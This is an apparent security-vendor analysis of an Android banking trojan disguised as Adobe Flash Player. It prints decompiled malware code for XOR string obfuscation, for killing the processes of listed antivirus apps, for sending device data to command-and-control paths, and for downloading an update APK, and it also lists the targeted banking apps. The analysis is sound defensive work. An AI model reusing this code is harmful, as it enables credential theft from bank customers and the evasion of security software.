Trojan Steals Account Information from European Banking Apps

A banking trojan discovered by Trustlook labs targets European banks and can steal users’ banking credentials. To make matters worse, the trojan is also capable of blocking most anti-virus apps.

The trojan disguises itself as an Adobe Flash Player app on Google Play. The malware hides string constants, keeps them encoded, and only decodes them before they are used.

The package can be identified as having the following characteristics:

MD5: b3a83ea6252bc7a4303774c1cd2c3b6f
SHA256: 784c835761e0223a46195fccbffae9fc0e19725ee989fe08e9d9fe119f7d4056
Size: 395595
App name: AdobeFlashPlayer
Package name: update.Adobe.Flash.Player

The package icon is:

The malware hides critical strings in order to prevent identification. It uses an exclusive or (XOR) operation to obfuscate the strings.

One of the encoding functions is shown below. The malware uses 7 similar functions to encode the string:

 public static String a(String paramString)
  {
    int i = paramString.length();
    char[] arrayOfChar = new char[i];
    int j = i - 1;
    for (i = j; j >= 0; i = j)
    {
      j = paramString.charAt(i);
      int k = i - 1;
      arrayOfChar[i] = ((char)(j ^ 0x52));
      if (k < 0) {
        break;
      }
      j = k - 1;
      arrayOfChar[k] = ((char)(paramString.charAt(k) ^ 0x7D));
    }
    return new String(arrayOfChar);
  }

After encoding, the string becomes unreadable. Upon execution of the malware, the app attempts to terminate any anti-virus apps. The decoded strings are listed in the comments added by Trustlook :

void a() {
        int v0;
        int v10 = 22;
        int v9 = -1;
        if(Build$VERSION.SDK_INT <= v10) {
            v0 = 0;
            int v3;
            for(v3 = 0; v0 > v9; v3 = v0) {
                String v5 = this.b();
                String[] v6 = new String[31];
                v6[0] = a.a("\u000E\u0001\u0000@\u0006\u000B\b\u001C\u000F\u0017C\u000F\t\u000F\u001A\u000F\u001F\u000B"); // com.keerby.adaware
                v6[1] = b.a("Y\u0004WE[\u0003T\u0007[\t\u0014\u001D\t\u0006U\tS\u0007_\u0018_\bO\u0019S\u001FC");//com.ahnlab.v3mobilesecurity
                v6[2] = a.a("\u000E\u0001\u0000@\f\u0018\f\u001D\u0019@\f\u0000\t\u001C\u0002\u0007\t@\u0000\u0001\u000F\u0007\u0001\u000B\u001E\u000B\u000E\u001B\u001F\u0007\u0019\u0017");//com.avast.android.mobilesecurity
                v6[3] = b.a("Y\u0004WE[\u0005N\u0002L\u0002H\u001EI");//com.antivirus
                v6[4] = a.a("\r\u0002\u0003C\u000F\u001B\u0007\u001F\u000FC\u000F\u0003\n\u001F\u0001\u0004\n");//com.avira.android
                v6[5] = b.a("Y\u0004WEX\u0002N\u000F_\r_\u0005^\u000EHE[\u0005N\u0002L\u0002H\u001EI");//com.bitdefender.antivirus
                v6[6] = a.a("\r\u0002\u0003C\f\u0018\u0002\u0001\t\u0018\u000F\u001F\nC\u0003\u0002\f\u0004\u0002\b@\u0000\u0001\u000F\u0007\u0001\u000B\u001E\u000B\u000E\u001B\u001F\u0007\u0019\u0017");//com.bullguard.mobile.mobilesecurity
                v6[7] = b.a("\bU\u0006\u0014\bU\u0006U\u000FUEY\u0002I\u0006_E[\u0005N\u0002L\u0002H\u001EI");//com.comodo.cisme.antivirus
[…]
    public String b() {
        String v0;
        if(Build$VERSION.SDK_INT <= 19) {
            List v1 = this.getSystemService(b.a("\nY\u001FS\u001DS\u001FC")).getRunningTasks(1);//activity
            v1.get(0);
            v0 = v1.get(0).topActivity.getPackageName();
        }
        else {
            v0 = this.getSystemService(a.a("\f\r\u0019\u0007\u001B\u0007\u0019\u0017")).getRunningAppProcesses().get(0).processName;
        }//activity

        return v0;
    }

    protected void onHandleIntent(Intent arg1) {
        this.a();
    }

The following is a list of the security apps whose processes are terminated by the malware:

keerby.adaware
ahnlab.v3mobilesecurity
avast.android.mobilesecurity
antivirus
avira.android
bitdefender.antivirus
bullguard.mobile.mobilesecurity
comodo.cisme.antivirus
drweb
emsisoft.security
eScan.main
eset.ems2.gp
fsecure.ms.dc
fortinet.forticlient
gdata.mobilesecurity
ikarus.mobile.security
k7computing.android.security
kms.free
malwarebytes.antimalware
wsandroid.suite
pandasecurity.pandaav
quickheal.platform
solo.security
sophos.smsec
antispycell.free
symantec.enterprise.mobile.security
totaldefense.security
trendmicro.tmmspersonal
trustport.mobilesecurity
ssd.vipre
zillya.security

The malware then looks for the banking apps’ processes. If found, the malware sends the information to the C&C server, and receives specific forms from the server to create a fake banking interface that entices users to enter their credentials.

public String a()
  {
    Log.d(i.a("8,'+\"+3.4O=-6"), k.a("%\0357\n5\020V\0327\026=x5\024?\0358\fQ\013")); //INVISIBLE-LOG  SEARCH BANK CLIENT'S
    Object localObject1 = getPackageManager().getInstalledApplications(128).iterator();
    int i11 = 0;
    int i10 = 0;
    int i20 = 0;
    int i19 = 0;
    int i18 = 0;
    int i17 = 0;
    int i9 = 0;
    int i7 = 0;
    int i5 = 0;
    int i3 = 0;
    int i1 = 0;
    int m = 0;
    int i = 0;
    while (((Iterator)localObject1).hasNext())
    {
      localObject2 = (ApplicationInfo)((Iterator)localObject1).next();
      int j = i11;
      if (((ApplicationInfo)localObject2).packageName.equals(i.a("\022\r\034L\020\t\023\003\037\t_\003\037\006\003\r\030\006_\003\001\022\002L\020\t\023\003\037\t.\006\030\020\024\t\005"))) {
        j = 1; //com.akbank.android.apps.akbank_direkt
      }
      if (((ApplicationInfo)localObject2).packageName.equals(k.a(";\0315X>\0376\0276\005:\0276\035v\0337\0241\032=X;\023(\005-\024="))) {
        j = 2; //com.finansbank.mobile.cepsube
      }
      int k = i10;
      if (((ApplicationInfo)localObject2).packageName.equals(i.a(""))) {
        k = 1;
      }
      if (((ApplicationInfo)localObject2).packageName.equals(k.a(";\0315X,\0337\024,\023;\036v\0369\0323\0249\0303"))) {
        k = 2; //com.tmobtech.halkbank
      }
 […]

        PowerManager$WakeLock v0_2 = v0_1.getSystemService(k.a("(\u0019/\u0013*")).newWakeLock(1, i.a("\"\u0007\u0003\u0014\u0018\u0001\u0014"));
		//power Service
        if(v0_2 != null) {
            v0_2.acquire();
        }

        e v10 = new e();
        k v11 = new k();
        Object v0_3 = this.getSystemService(k.a("(\u001E7\u0018="));//phone
        String v1 = "";
        if(Build$VERSION.SDK_INT < 23) {
            v3 = ((TelephonyManager)v0_3).getDeviceId();
            v2 = new StringBuilder().insert(0, i.a("Y")).append(((TelephonyManager)v0_3).getNetworkOperatorName()).append(k.a("q")).append(((TelephonyManager)v0_3).getLine1Number()).toString();
            v7 = v3;
        }
        else {
            v1 = Settings$Secure.getString(this.getContentResolver(), i.a("\u0003\u001F\u0006\u0003\r\u0018\u0006.\u000B\u0015"));//android_id
            if(v1 == "") {
                v1 = new StringBuilder().insert(0, k.a("Em")).append(Build.BOARD.length() % 10).append(Build.BRAND.length() % 10).append(Build.CPU_ABI.length() % 10).append(Build.DEVICE.length() % 10).append(Build.DISPLAY.length() % 10).append(Build.HOST.length() % 10).append(Build.ID.length() % 10).append(Build.MANUFACTURER.length() % 10).append(Build.MODEL.length() % 10).append(Build.PRODUCT.length() % 10).append(Build.TAGS.length() % 10).append(Build.TYPE.length() % 10).append(Build.USER.length() % 10).toString();
            }

            v3 = i.a("J?-X");//(NO)
            v7 = v1;
            v1 = k.a("\u0011\u0018\u001F6\u0013<");//Indefined
            v2 = v3;
        }

        String v4 = Build$VERSION.RELEASE;
        String v5 = new StringBuilder().insert(0, Build.MODEL).append(i.a("BY")).append(Build.PRODUCT).append(k.a("q")).toString();
        String v6 = ((TelephonyManager)v0_3).getNetworkCountryIso();
        String v8 = "";
        i.a("A");
        if(!this.getSystemService(k.a("<\u0013.\u001F;\u0013\u0007\u00067\u001A1\u0015!")).isAdminActive(null)) { //device_policy
            v3 = i.a("A");
            v0_1 = this;
        }
        else {
            v3 = k.a("i");
            v0_1 = this;
        }

        boolean v0_4 = v0_1.getSystemService(i.a("\t\u0014\u001B\u0016\u0017\u0010\u0010\u0015")).inKeyguardRestrictedInputMode(); //keyguard
        k.a("h");
        if(v0_4) {
            v0_5 = i.a("A");
            Log.e(k.a("jDj"), i.a("\u001E\u0004\u0017")); //222 off
        }
        else {
            v0_5 = k.a("i");
            Log.e(i.a("CPC"), k.a("\u00196"));
        }

        Log.e(i.a("\u0012\u001E\u0011\u0005"), new StringBuilder().insert(0, k.a("\u0002-\u001D\u0007\u0006e")).append(v11.b(new StringBuilder().insert(0, v7).append(i.a("K")).append(v3).append(k.a("b")).append(v0_5).toString())).toString());
		//post tuk_p=
        v0_5 = v11.c(v10.a(this.a.d + i.a("M\u0010\u0006\u001C\u000B\u001F\u000E\u001E\u0006^\u0005\u0010\u0016\u0014L\u0001\n\u0001"), new StringBuilder().insert(0, k.a("\u0006e")).append(v11.b(new StringBuilder().insert(0, v7).append(i.a("K")).append(v3).append(k.a("b")).append(v0_5).toString())).toString())); ///adminlod/gate.php
        Log.e("", new StringBuilder().insert(0, i.a("QOQ\\Q")).append(v0_5).toString());
        if(v0_5.contains(k.a("\n\u00169$"))) {
            v0_5 = this.a();
            System.out.println("");
            System.out.println(new StringBuilder().insert(0, i.a("\u0002\u0007\u0005=\u0015\u0003\u0005\u0003.\u0012L")).append(v11.b(new StringBuilder().insert(0, " ").append(v7).append(k.a("b")).append(v2).append(v1).append(i.a("K")).append(v4).append(k.a("b")).append(v6).append(i.a("K")).append(v0_5).append(k.a("b")).append(v5).toString())).toString()); // set_data_p=
            v3 = this.a.d + i.a("^\u0003\u0015\u000F\u0018\f\u001D\r\u0015M\u0003\u0007\u0016L\u0001\n\u0001"); ///adminlod/reg.php
            StringBuilder v9 = new StringBuilder().insert(0, k.a("\u0006e"));
            StringBuilder v0_6 = new StringBuilder().insert(0, v7).append(i.a("K")).append(v2).append(v1).append(k.a("b")).append(v4).append(i.a("K")).append(v6).append(k.a("b")).append(v0_5).append(i.a("K")).append(v5).append(k.a("b"));
            this.a.getClass();
            v0_5 = v11.c(v10.a(v3, v9.append(v11.b(v0_6.append("DDD").append(i.a("K")).append(v8).toString())).toString()));

The affected bank apps are:

akbank.android.apps.akbank_direkt
finansbank.mobile.cepsube
garanti.cepsubesi
tmobtech.halkbank
pozitron.iscep
vakifbank.mobile
ykb.android
ziraat.ziraatmobil
whatsapp
facebook.orca
facebook.katana
instagram.android
supercell.clashroyale
supercell.clashofclans
google.android.play.games
snapchat.android
twitter.android
google.android.apps.translate
ebay.gumtree.au
anz.android
bankaustria.android.olb
bawag.mbanking
easybank.mbanking
isis_papyrus.raiffeisen_pay_eyewdg
spardat.netbanking
volksbank.volksbankmobile
commbank.netbank
westpac.bank
stgeorge.bank
com.nab.mobile
com.ingdirect.android
com.bankwest.mobile
banksa.bank
paypal.android.p2pmobile
grppl.android.shell.CMBlloydsTSB73
grppl.android.shell.halifax
co.tsb.mobilebank
creditagricole.androidapp
comarch.mobile
bzwbk.bzwbk24
bzwbk.bzwbk24
eurobank
getingroup.mobilebanking
ing.ingmobile
ing.ingmobile
pkobp.iko
mbank
android.bcpBankingApp.millenniumPL
eleader.mobilebanking.pekao
eleader.mobilebanking.raiffeisen
db.mm.deutschebank
commerzbanking.mobil
starfinanz.smob.android.sfinanzstatus
ing.diba.mbbr2
fiducia.smartphone.android.banking.vr
santander.de
starfinanz.smob.android.sbanking
postbank.finanzassistent
dkb.portalapp
consorsbank
comdirect.android
creditagricole.android
axa.monaxa
banquepopulaire.cyberplus
bnpparibas.mescomptes
boursorama.android.clients
caisseepargne.android.mobilebanking
cic_prod.bad
cm_prod.bad
groupama.toujoursla
IngDirectAndroid
fullsix.android.labanquepostale.accountaccess
lcl.android.customerarea
macif.mobile.application.android
ocito.cdn.activity.creditdunord
societegenerale.mobile.lappli

The malware is capable of stealing a user’s contacts , sending an SMS message, opening a web page, updating itself and more. The following code snippets demonstrate how the malware downloads an APK and updates itself:

if(v9_1[v8_1].contains(i.a("7\u0001\u0006\u0010\u0016\u0014\u0011. \u001E\u0016\u0002"))) {//Updates_Bots
                v2 = v11.a(v9_1[v8_1], k.a("\n6\u00035\u0014=\u0004e"), i.a("\u001E\u0005\u0007\t\u0016L"));//|number= |text=
                v0_9 = v9_1[v8_1].split(k.a(",\u0013 \u0002e")); //text=
                System.out.println(new StringBuilder().insert(0, v2).append(v0_9[1]).toString());
                Log.d("", "");
                v3 = UUID.randomUUID().toString();
                v4 = i.a("L\u0010\u0012\u001A");//.apk
                try {
                    URLConnection v0_12 = new URL(v0_9[1]).openConnection();
                    ((HttpURLConnection)v0_12).setRequestMethod(k.a("\u001F3\f")); //GET
                    ((HttpURLConnection)v0_12).setDoOutput(true);
                    ((HttpURLConnection)v0_12).connect();
                    v1 = Environment.getExternalStorageDirectory() + i.a("M\u0015\r\u0006\f\u001D\r\u0010\u0006^"); ///download/
                    Log.v("", new StringBuilder().insert(0, k.a("&\u0019\"\u0010Lx")).append(v1).toString()); //PATH: 
                    File v5_1 = new File(v1);
                    v5_1.mkdirs();
                    v5_2 = new FileOutputStream(new File(v5_1, new StringBuilder().insert(0, v3).append(v4).toString()));
                    v1_1 = ((HttpURLConnection)v0_12).getInputStream();
                    v6_2 = new byte[4096];
                    v0_13 = v1_1;
                    goto label_524;
                }

Summary
Banking malware that steals users’ log in credentials is becoming an increasing problem. Most of this category of malware, as is highlighted in this post, attempts to stay hidden to prevent analysis and detection. It also uses an obfuscation technique to make textual data unreadable. Using these techniques of hiding strings and masking data is useful for malware writers because it requires much more time for analysis to be done and the malware to be identified.

Thankfully, in this case, Trustlook was able to gather deep insights and knowledge of the malware behavior. Trustlook’s SECURE^ai anti-threat platform can effectively protect users against this invasion.